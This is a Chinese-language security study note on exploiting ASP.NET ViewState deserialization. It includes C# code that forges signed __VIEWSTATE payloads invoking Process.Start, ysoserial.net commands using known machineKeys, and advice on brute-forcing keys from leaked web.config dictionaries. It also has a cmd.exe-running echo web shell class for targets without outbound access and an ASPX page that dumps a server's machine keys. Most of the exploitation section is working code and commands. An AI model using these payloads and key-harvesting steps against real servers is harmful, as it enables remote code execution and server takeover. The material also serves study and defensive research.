ViewState反序列化

前言:这篇笔记记录了相关ViewState反序列化以及ViewState在不出网的情况下如何利用

参考文章:https://www.anquanke.com/post/id/199921
参考文章:https://mp.weixin.qq.com/s/RlY5HL_ak4G8EdcXyevWDg
参考文章:https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
参考文章:https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
参考文章:https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/

什么是ViewState机制

ViewState机制是asp.net中对同一个Page的多次请求(PostBack)之间维持Page及控件状态的一种机制。在WebForm中每次请求完,Page对象都会被释放,这里就有一个问题就是对同一个Page的多次请求之间的状态信息,如何进行维护呢?

WebForm中每次请求都会存在客户端和服务器之间的一个交互。如果请求完成之后将一些信息传回到客户端,下次请求的时候客户端再将这些状态信息提交给服务器,服务器端对这些信息使用和处理,再将这些信息传回给客户端。这样是不是就可以对同一个Page的多次请求(PostBack)之间维持状态了?ViewState的设计目的就是为了将必要的信息持久化在页面中,这样通过ViewState在页面回传的过程中保存状态值。

这里说的PostBack是一种模式,该PostBack模式是在访问页面不是通过Server.Transfer进行重定向的,__VIEWSTATE等隐藏表单存在,这里默认直接访问页面即可满足上述条件。

这里再抛出一个小问题,就是ViewState和Cookie的区别是什么?

  • Cookie是存在于http请求中的,而ViewState仅仅存在于.net

  • Cookie不存在后端解析(只需要取值即可),而.net中的ViewState存在于后端解析(序列化和反序列化的操作)

  • Cookie是为了http无状态而产生的,ViewState是为了保存WebForm中服务端控件状态进行持久化而产生的

ViewState的构成

具体的序列化流程由 [System.Web]System.Web.UI.ObjectStateFormatter进行处理。其返回结果以FF01作为magic,后续数据是近似于Type-Value的格式。由于控件本身可能需要保存较为复杂的类型,ObjectStateFormatter通过二进制序列化方式对这种情况进行支持,其TypeCode为0x32,Value为带有7bit-encoded长度前缀的二进制序列化数据。

Test1.aspx

namespace TestViewState
{
    [Serializable]
    class Test : IObjectReference
    {
        Func<string, object> _dele;
        string _parm;
        public Test(Func<string, object> dele, string parm)
        {
            _dele = dele;
            _parm = parm;
        }
        public Object GetRealObject(StreamingContext c)
        {
            return _dele(_parm);
        }
    }

    public class Program
    {

        static object Deserialize(byte[] b)
        {
            using (MemoryStream mem = new MemoryStream(b))
            {
                mem.Position = 0;
                BinaryFormatter bf = new BinaryFormatter();
                return bf.Deserialize(mem);
            }
        }
        static byte[] Serialize(object obj)
        {
            using (MemoryStream mem = new MemoryStream())
            {
                BinaryFormatter bf = new BinaryFormatter();
                bf.Serialize(mem, obj);
                return mem.ToArray();
            }
        }

        static byte[] GetViewState()
        {
            Test t = new Test(new Func<string, object>(Process.Start), "notepad");
            byte[] data = Serialize(t);
            MemoryStream ms = new MemoryStream();

            // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
            ms.WriteByte(0xff);
            ms.WriteByte(0x01);
            // 指定ObjectStateFormatter进行序列化,特征为0x32
            ms.WriteByte(0x32);
            uint num = (uint)data.Length;
            // Value为带有7bit-encoded长度前缀,所以最大长度为0x80
            while (num >= 0x80)
            {
                ms.WriteByte((byte)(num | 0x80));
                num = num >> 0x7;
            }
            ms.WriteByte((byte)num);
            ms.Write(data, 0, data.Length);
            return ms.ToArray();
        }

        static void Main(string[] args)
        {
            byte[] data = GetViewState();
            Console.ReadKey();
        }
    }

在实际的WEB环境中,并不是像上面的ViewState生成过程一样简单,实际的传输中ObjectStateFormatter会使用MachineKey对信息进行加密或签名。

注意:这里提到的MachineKey就是关键生成密钥。

实际环境中传输的数据为__VIEWSTATE,__VIEWSTATE的生成过程如下所示

ViewState = serialize(我们控制传输的数据)+0xff+0x01+0x32+...
client_id = hash(当前请求路径)+hash(当前请求文件名)
MacKeyModifier = client_id + ViewStateUserKey(默认为空)
signed_data = new HMACSHA256(web.config里面的密钥).encode(ViewState+MacKeyModifier);
__VIEWSTATE = ViewState + signed_data

下面给出__VIEWSTATE生成的代码实现

Test2.aspx

namespace TestViewState
{
    [Serializable]
    class Test : IObjectReference
    {
        Func<string, object> _dele;
        string _parm;
        public Test(Func<string, object> dele, string parm)
        {
            _dele = dele;
            _parm = parm;
        }
        public Object GetRealObject(StreamingContext c)
        {
            return _dele(_parm);
        }
    }

    public class Program
    {

        static object Deserialize(byte[] b)
        {
            using (MemoryStream mem = new MemoryStream(b))
            {
                mem.Position = 0;
                BinaryFormatter bf = new BinaryFormatter();
                return bf.Deserialize(mem);
            }
        }
        static byte[] Serialize(object obj)
        {
            using (MemoryStream mem = new MemoryStream())
            {
                BinaryFormatter bf = new BinaryFormatter();
                bf.Serialize(mem, obj);
                return mem.ToArray();
            }
        }

        static byte[] GetViewState()
        {
            Test t = new Test(new Func<string, object>(Process.Start), "notepad");
            byte[] data = Serialize(t);
            MemoryStream ms = new MemoryStream();

            // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
            ms.WriteByte(0xff);
            ms.WriteByte(0x01);
            // 指定ObjectStateFormatter进行序列化,特征为0x32
            ms.WriteByte(0x32);
            uint num = (uint)data.Length;
            // Value为带有7bit-encoded长度前缀,所以最大长度为0x80
            while (num >= 0x80)
            {
                ms.WriteByte((byte)(num | 0x80));
                num = num >> 0x7;
            }
            ms.WriteByte((byte)num);
            ms.Write(data, 0, data.Length);
            return ms.ToArray();
        }

        static void Main(string[] args)
        {
            byte[] data = GetViewState();
            byte[] key = new byte[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf };

            // clientId = hash(当前请求路径)+hash(当前请求文件名)
            uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/") + StringComparer.InvariantCultureIgnoreCase.GetHashCode("index_aspx"));

            // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
            byte[] _mackey = new byte[4];
            _mackey[0] = (byte)_clientstateid;
            _mackey[1] = (byte)(_clientstateid >> 8);
            _mackey[2] = (byte)(_clientstateid >> 16);
            _mackey[3] = (byte)(_clientstateid >> 24);

            // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
            MemoryStream ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(_mackey, 0, _mackey.Length);
            byte[] hash = (new HMACSHA256(key)).ComputeHash(ms.ToArray());
            ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(hash, 0, hash.Length);
            Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
            Console.ReadKey();
        }
    }
}

iis模拟ViewState反序列化漏洞

这里iis的应用池需要为4.0,如果高版本可能存在ActivitySurrogateSelectorTypeCheck导致正常复现

将上面的Test2.aspx编译的exe放入到iis目录的bin目录下,如下图所示

iis目录中创建一个index.aspx,内容随意都可以

接着将上面Test2.aspx生成的ViewState内容作为参数进行访问,如下图所示,可以看到成功进行ViewState反序列化

手动环境搭建

这边稍微的记录下,可以跳过

这边通过vs来搭建一个web的环境,如下图所示

接着创建一个login.aspx的web窗体,代码如下所示

注意:这边通过指定runat="server"就会使用进行让控件维持视图状态

<script runat="server">
Sub submit(sender As Object, e As EventArgs)
lbl1.Text="Hello " & txt1.Text & "!"
End Sub
</script>

<html>
<body>

<form runat="server">
    Your name: <asp:TextBox id="txt1" runat="server" />
    <asp:Button OnClick="submit" Text="Submit" runat="server" />
    <p><asp:Label id="lbl1" runat="server" /></p>
</form>
</body>
</html>

接着将其部署到iis的环境中即可,如下所示

如果访问的时候显示不可访问的话,可以给当前web的目录给上everyone的权限,我这边就遇到了,简单的记录下,设置的结果如下所示

黑盒情况下如何枚举密钥来利用?

这边分享下yuanhai师傅在github上分享的关于web.config中的viewstate密钥字典

Github地址:https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState.txt

其他更多的大家可以在github或者其他搜索引擎中搜索web.config来进行搜集密钥作为字典来使用

Github搜索语句:https://github.com/search?p=99&q=validationKey%3D+extension%3Aconfig&type=Code

通过上面的学习已经知道了一个__viewstate的组成结构,那么我们如果通过枚举密钥来验证伪造的viewstate的正确性呢?

首先需要两个已知条件,第一个是validationKey,第二个是对应的签名算法validation

这里可能会有一个疑问就是为什么decryptionKey和decryption没有起作用呢?这边简单的概述下,当前我们的web.config配置文件是如下所示

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
 <system.web>
 <machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
 </system.web>
</configuration>

从上面的内容中看目前是没有加上<pages viewStateEncryptionMode="Always"></pages>的配置项,以下是其他相关的配置项,这边也可以了解下

enableViewState:用于设置是否开启viewState

enableViewStateMac:用于设置是否开启ViewState Mac (校验)功能。4.5.2之前,该选项为false,可以禁止Mac校验功能。但是在4.5.2之后,强制开启ViewState Mac 校验功能.

viewStateEncryptionMode:用于设置是否开启ViewState Encrypt (加密)功能。该选项的值有三种选择:Always、Auto、Never。

  • Always表示ViewState始终加密;

  • Auto表示如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密,则视图状态信息将被加密,这是默认值;

  • Never表示即使控件请求了视图状态信息,也永远不会对其进行加密。

下面的代码是在ObjectStateFormatter.cs中,这里可以看到在生成ViewState的时候,这边因为没有设置viewStateEncryptionMode,所以默认的话走的就是MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);操作

继续跟进去可以看到在GetEncodedData只有当签名算法是3DES或者是AES的时候才会需要用到decryptionKey和decryption,而当前我们生成validation用的是SHA1,所以这边的话就不需要用到decryptionKey和decryption

大家感兴趣的话还可以再深入看下代码,我这边的话引用如下的结论即可

  • 如果签名算法不是AES/3DES,无论是否开启加密功能,我们只需要根据其签名算法和密钥,生成一个签名的ViewState。由于发送该ViewState的时候没有使用"__VIEWSTATEENCRYPTED" 字段,导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验,而不再执行解密步骤。

  • 如果签名算法是 AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。 然后发送给服务端,ASP.NET 进入 GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。

继续回到黑盒情况下如何枚举密钥来利用呢?首先我们在当前上述的web.config的情况下,想要通过枚举密钥的话需要两个点,一个是已知的密钥,另外一个就是validation

Login.aspx

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Login.aspx.cs" Inherits="WebApplication3.Login" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
        <asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" class="btn"/><br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>

Login.aspx.cs

namespace WebApplication3
{
    public partial class Login : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
        }
        protected override void OnInit(EventArgs e)
        {
            base.OnInit(e);
        }
        protected void Button1_Click(object sender, EventArgs e)
        {
            //Label1.Text = TextArea1.Text.ToString();
        }
    }
}

这边访问index.aspx可以得到默认的viewstate的值是<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTQ1OTUyNDAxM2RktCHqTY+Xscg0BjLdwVpa6zPldak=" />

这里将/wEPDwUKLTQ1OTUyNDAxM2RktCHqTY+Xscg0BjLdwVpa6zPldak=进行base64解密,然后截去最后面的20个字节,得到的就是要传输的数据+MacKeyModifier

这边为什么截去末尾的20个字节呢?因为上述配置的web.config中的签名算法validation是SHA1,SHA1生成的大小为20个字节

接着我们开始枚举,可以看到当前的签名密钥是CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF

CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF替换上面生成的ViewState的密钥

生成的结果如下所示,__viewstate的url解码结果和上述默认的Login.aspx的__viewstate值是一样的,此时也就说明了这个validationKey密钥和validation签名算法是正确的

ViewState在ASP.net中的解析流程

这边的话主要看三个部分,分别是InitRecursive,LoadAllState和SaveAllState

InitRecursive

如下图所示,整体是下往上的解析流程

这边直接来看到ProcessRequestMain解析过程,因为ViewState解析的流程是在这边进行

这边先给InitRecursive下个断点

然后访问login.aspx,可以看到成功断点InitRecursive到,如下所示

首先跟到InitRecursive中,可以发现先会获取要初始化的control的数量,然后遍历这些control来调用自身的InitRecursive方法,具体没细看,个人理解一个控件同样也是各个小控件组成

LoadAllState

接着的话就是来到LoadAllState方法中,将客户端提交的__VIEWSTATE反序列化为对象然后填充到各个控件中

首先会先进到LoadPageStateFromPersistenceMedium方法中进行加载持续化的状态数据,其实也就是获取__VIEWSTATE

接着跟到load方法中

本次请求的__VIEWSTATE的值为6GuRHeDAzfGa7ubz73OcFLFqQWxyZScO8aBkCGmvUWhbY8f9/kYgDxz2b9g1wUG9BDiFkSP3x8judq8jQ/nKeb3NX+imgjYowycV+O1MHmIgRrQdfWGk+4z08vx+sVW6CuCBYlJRR47A/DhLXMfSXQ==

这边可以看到__VIEWSTATE同样也是上面这个值

这边直接抓重点,这里可以看到对接受到的__VIEWSTATE进行反序列化操作

这边跟进可以看到,将字符串进行Base64解码为字节流,是否解密需要看this._page.ContainsEncryptedViewState || this._page.EnableViewStateMac,默认this._page.EnableViewStateMac字段值true

这边先进行cryptoService解密出来的字节数组,然后再通过ObjectStateFormatter对该字节数组进行反序列化,所以这里也说明为什么ViewState跟ObjectStateFormatter反序列化有关

最后封装到Pair对象中进行返回

接下来主要LoadControlStateInternal和LoadViewStateRecursive这两个函数

LoadControlStateInternal这边的话没跟进去就没分析了,大概看了下LoadViewStateRecursive,给出关键的部分,可以看到就会解析__VIEWSTATE

SaveAllState

SaveAllState的函数作用顾名思义就是将处理完的控件的数据重新填充到__VIEWSTATE中,最后渲染将数据渲染到界面上

漏洞复现

从上面的分析中可以看出默认的cryptoService对象会先对ViewState解密成字节数组,然后对该字节数组使用ObjectStateFormatter进行反序列化操作,ViewState采取了加密和签名的安全措施。但是如果加密密钥泄露,依然可以伪装加密的数据进行攻击。

enableViewState:用于设置是否开启viewState

enableViewStateMac:用于设置是否开启ViewState Mac (校验)功能。4.5.2之前,该选项为false,可以禁止Mac校验功能。但是在4.5.2之后,强制开启ViewState Mac 校验功能.

viewStateEncryptionMode:用于设置是否开启ViewState Encrypt (加密)功能。该选项的值有三种选择:Always、Auto、Never。

  • Always表示ViewState始终加密;

  • Auto表示如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密,则视图状态信息将被加密,这是默认值;

  • Never表示即使控件请求了视图状态信息,也永远不会对其进行加密。

那么什么影响了cryptoService对象的加密和解密呢?

validationKey和decryptionKey分别是校验和加密所用的密钥,validation和decryption则是校验和加密所使用的算法(可以省略,采用默认算法)。校验算法包括: SHA1、 MD5、 HMACSHA256、 HMACSHA384、 HMACSHA512。加密算法包括:DES、3DES、AES。 由于web.config保存在服务端上,在不泄露machineKey的情况下,保证了ViewState的安全性。

上面关于validationKey,decryptionKey和validation,decryption能够在web.config中进行配置。

这边可以借助如下脚本生成一段MachineKey,代码如下所示

function Generate-MachineKey {
   [CmdletBinding()]
   param (
      [ValidateSet("AES", "DES", "3DES")]
      [string]$decryptionAlgorithm = 'AES',
      [ValidateSet("MD5", "SHA1", "HMACSHA256", "HMACSHA384", "HMACSHA512")]
      [string]$validationAlgorithm = 'HMACSHA256'
   )
   process {
      function BinaryToHex {
         [CmdLetBinding()]
         param($bytes)
         process {
            $builder = new-object System.Text.StringBuilder
            foreach ($b in $bytes) {
               $builder = $builder.AppendFormat([System.Globalization.CultureInfo]::InvariantCulture, "{0:X2}", $b)
            }
            $builder
         }
      }
      switch ($decryptionAlgorithm) {
         "AES" { $decryptionObject = new-object System.Security.Cryptography.AesCryptoServiceProvider }
         "DES" { $decryptionObject = new-object System.Security.Cryptography.DESCryptoServiceProvider }
         "3DES" { $decryptionObject = new-object System.Security.Cryptography.TripleDESCryptoServiceProvider }
      }
      $decryptionObject.GenerateKey()
      $decryptionKey = BinaryToHex($decryptionObject.Key)
      $decryptionObject.Dispose()
      switch ($validationAlgorithm) {
         "MD5" { $validationObject = new-object System.Security.Cryptography.HMACMD5 }
         "SHA1" { $validationObject = new-object System.Security.Cryptography.HMACSHA1 }
         "HMACSHA256" { $validationObject = new-object System.Security.Cryptography.HMACSHA256 }
         "HMACSHA385" { $validationObject = new-object System.Security.Cryptography.HMACSHA384 }
         "HMACSHA512" { $validationObject = new-object System.Security.Cryptography.HMACSHA512 }
      }
      $validationKey = BinaryToHex($validationObject.Key)
      $validationObject.Dispose()
      [string]::Format([System.Globalization.CultureInfo]::InvariantCulture,
         "<machineKey decryption=`"{0}`" decryptionKey=`"{1}`" validation=`"{2}`" validationKey=`"{3}`" />",
         $decryptionAlgorithm.ToUpperInvariant(), $decryptionKey,
         $validationAlgorithm.ToUpperInvariant(), $validationKey)
   }
}

web.config配置如下所示:

  • 验证密钥validationKey配置为B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3

  • 解密密钥decryptionKey配置为EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39

  • 验证算法validation配置为SHA1

  • 解密算法decryption配置为AES

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.web>
    <compilation debug="true" targetFramework="4.5.2" />
    <httpRuntime targetFramework="4.5.2" />
	  <machineKey validationKey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" 
				  decryptionKey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" validation="SHA1" decryption="AES"  />
  </system.web>
  <system.codedom>
    <compilers>
      <compiler language="c#;cs;csharp" extension=".cs" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:6 /nowarn:1659;1699;1701" />
      <compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:14 /nowarn:41008 /define:_MYTYPE=\&quot;Web\&quot; /optionInfer+" />
    </compilers>
  </system.codedom>
</configuration>

这边通过ysoserial.net来进行生成,生成命令如下所示,这里在执行的命令是echo 123 > c:\windows\temp\test.txt

ysoserial.exe -p ViewState -g TextFormattingRunProperties  -c "echo 123 > c:\windows\temp\test.txt" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"

可以看到对应的c:\windows\temp\目录下成功生成test.txt,结果如下所示

如果遇到了下面这种情况的话,大概率是没有指定对应的apppath和path

不出网情况下的利用

微软曾因ActivitySurrogateSelector利用链的出现而加了一些patch,所以先打一次ActivitySurrogateDisableTypeCheck利用链来解决patch的问题

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --isdebug

然后再打ActivitySurrogateSelectorFromFile利用链进行回显,回显代码ExploitClass.cs

ExploitClass.cs

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

ysoserial生成,命令如下

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --isdebug

实战利用

获取相关的viewstate信息

这里可以通过如下代码来获取相关viewstate的信息,其中包含validationKey和ValidationAlg ,decryptionKey和DecryptionAlg

什么情况下会遇到?这里举个场景比如一个环境中无法上传脚本文件,但是web.config能够上传的情况下此时就可以上传指定的web.config来制造viewstate反序列化来进行利用

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void GetAutoMachineKeys()
{
    var netVersion = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\NETFramework Setup\\NDP\\v4\\Full\\", "Version",Microsoft.Win32.RegistryValueKind.ExpandString);
    if(netVersion!=null)
        Response.Write("<b>NetVersion: </b>" + netVersion);
    Response.Write("<br/><hr/>");
    //==========================================================================
    var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
    var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
    var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
    var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null, new object[0]);
    Response.Write("<b>ValidationKey:</b> "+config.ValidationKey);
    Response.Write("<br/>");
    Response.Write("<b>ValidationAlg:</b> "+ config.Validation);
    Response.Write("<br/>");
    Response.Write("<b>DecryptionKey:</b> "+ config.DecryptionKey);
    Response.Write("<br/>");
    Response.Write("<b>DecryptionAlg:</b> "+ config.Decryption);
    Response.Write("<br/>");
    Response.Write("<b>CompatibilityMode:</b> "+config.CompatibilityMode);
    Response.Write("<br/><hr/>");
    //==========================================================================
    var typeMachineKeyMasterKeyProvider =
    systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
    var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(typeMachineKeyMasterKeyProvider.FullName, false, System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic, null, new object[] { config, null, null, null, null }, null, null);
    var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]);
    byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]);
    var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]);
    byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]);
    //==========================================================================
    Response.Write("<br/><b>ASP.NET 4.0 and below:</b><br/>");
    byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys",
    System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
    int validationKeySize = 64;
    int decryptionKeySize = 24;
    byte[] validationKeyAuto = new byte[validationKeySize];
    byte[] decryptionKeyAuto = new byte[decryptionKeySize];
    System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0,
    validationKeySize);
    System.Buffer.BlockCopy(autogenKeys, validationKeySize,
    decryptionKeyAuto, 0, decryptionKeySize);
    string appName = HttpRuntime.AppDomainAppVirtualPath;
    string appId = HttpRuntime.AppDomainAppId;
    Response.Write("<br/>");
    Response.Write("<b>appName:</b> "+appName);
    Response.Write("<br/>");
    Response.Write("<b>appId:</b> "+appId);
    Response.Write("<br/>");
    Response.Write("<b>initial validationKey (not useful for direct use):</b> ");
    Response.Write(BitConverter.ToString(validationKeyAuto).Replace("-",string.Empty));
    Response.Write("<br/>");
    Response.Write("<b>initial decryptionKey (not useful for direct use):</b> ");
    Response.Write(BitConverter.ToString(decryptionKeyAuto).Replace("-",
    string.Empty));
    Response.Write("<br/>");
    byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray();
    int dwCode3 =
    StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
    _validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
    _validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
    _validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
    _validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
    Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> ");


    Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-",
    string.Empty));
    Response.Write("<br/>");
    byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray();
    int dwCode4 =StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
    _validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
    _validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
    _validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
    _validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >>24);
    Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> ");
    Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] _decryptionKeyAutoAutoAppSpecific = decryptionKeyAuto.ToArray();
    _decryptionKeyAutoAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
    _decryptionKeyAutoAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
    _decryptionKeyAutoAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >>16);
    _decryptionKeyAutoAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >>24);
    Response.Write("<b>App specific DecryptionKey (when uses IsolateApps):</b> ");
    Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppSpecific).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] _decryptionKeyAutoAutoAppIdSpecific =
    decryptionKeyAuto.ToArray();
    _decryptionKeyAutoAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
    _decryptionKeyAutoAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >>8);
    _decryptionKeyAutoAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >>16);
    _decryptionKeyAutoAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000)>> 24);
    Response.Write("<b>AppId Auto specific DecryptionKey (when uses IsolateByAppId):</b> ");
    Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppIdSpecific).Replace("-", string.Empty));
    Response.Write("<br/><hr/>");
    //==========================================================================
    Response.Write("<br/><b>ASP.NET 4.5 and above:</b><br/>");
    Response.Write("<br/>");
    Response.Write("<b>validationAlg:</b> "+config.Validation);
    Response.Write("<br/>");

    Response.Write("<b>validationKey:</b>"+BitConverter.ToString(_validationKey).Replace("-", string.Empty));
    Response.Write("<br/>");
    Response.Write("<b>decryptionAlg:</b> "+config.Decryption);
    Response.Write("<br/>");
    Response.Write("<b>decryptionKey:</b>"+BitConverter.ToString(_decryptionKey).Replace("-", string.Empty));
    Response.Write("<br/><hr/>");
}

public void Page_load()
{
    Response.ContentEncoding = System.Text.Encoding.Default;
    Response.Write("<p style='color:#ff0000;text-align:center;'>获取 .NET 框架的机器密钥</p>");
    Response.Write("<p>1. 本程序仅供实验学习 ASP.NET ViewState,请勿违法滥用!</p>");
    Response.Write("<p>2. 适用场景:获取 .NET 框架权限后均适用!</p>");
    Response.Write("<p>3. 公众号:RowTeam</p>");
    Response.Write("<br/><hr/>");
    GetAutoMachineKeys();
}
</script>

获取到的结果如下图所示

哥斯拉插件

如果签名算法是AES/3DES的情况

参考文章:https://github.com/pwntester/ysoserial.net/issues/122

